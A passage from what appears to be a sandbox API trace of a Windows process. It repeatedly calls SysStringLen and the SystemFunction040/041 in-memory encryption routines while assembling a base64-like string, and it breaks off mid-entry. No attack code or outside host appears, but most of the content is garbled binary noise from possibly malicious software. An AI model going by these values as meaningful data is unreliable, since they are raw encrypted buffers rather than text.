OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.599] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.599] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.599] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.599] SysStringLen (param_1="YW") returned 0x8 [0138.599] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.599] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.599] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.599] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.599] SysStringLen (param_1="YWM") returned 0x8 [0138.599] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.600] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.600] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.600] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.600] SysStringLen (param_1="YWM1") returned 0x8 [0138.600] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.600] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.600] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.600] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.600] SysStringLen (param_1="YWM1O") returned 0x8 [0138.600] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.600] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.600] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.600] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.600] SysStringLen (param_1="YWM1OT") returned 0x8 [0138.600] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.600] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.600] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.600] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.600] SysStringLen (param_1="YWM1OTE") returned 0x8 [0138.600] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.600] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.600] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.601] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.601] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0138.601] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.601] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.601] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.601] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.601] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0138.601] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.601] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0138.601] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.601] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.601] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.601] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.601] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0138.601] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.601] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.601] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.601] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.602] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0138.602] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.602] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.602] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.602] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.602] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0138.602] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.602] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.602] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.602] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.602] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0138.602] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.602] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.602] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.602] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.602] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0138.602] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.602] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.603] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.603] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.603] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0138.603] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.603] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.603] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.603] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.603] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0138.603] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.603] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.603] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.603] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.603] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0138.603] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.603] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0138.603] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.603] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.603] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.603] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.604] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0138.604] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.604] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.604] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.604] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.604] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0138.604] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.604] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.604] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.604] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.604] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0138.604] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.604] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.604] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.604] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.604] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0138.604] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.604] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.604] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.604] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.605] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0138.605] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.605] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.605] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.605] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.605] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0138.605] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.605] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.605] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.605] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.605] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0138.605] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.605] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.605] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.605] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.605] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0138.605] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.605] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0138.605] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.606] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.606] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.606] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.606] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0138.606] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.606] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.606] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.606] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.606] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0138.606] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.606] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.606] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.606] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.606] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0138.606] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.606] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.606] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.606] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.606] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0138.606] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.606] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.606] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.607] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.607] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0138.607] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.607] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.607] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.607] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.607] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0138.607] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.607] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.607] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.607] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.607] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0138.607] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.607] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.607] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.607] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.607] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0138.607] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.607] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0138.607] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.608] SysStringLen 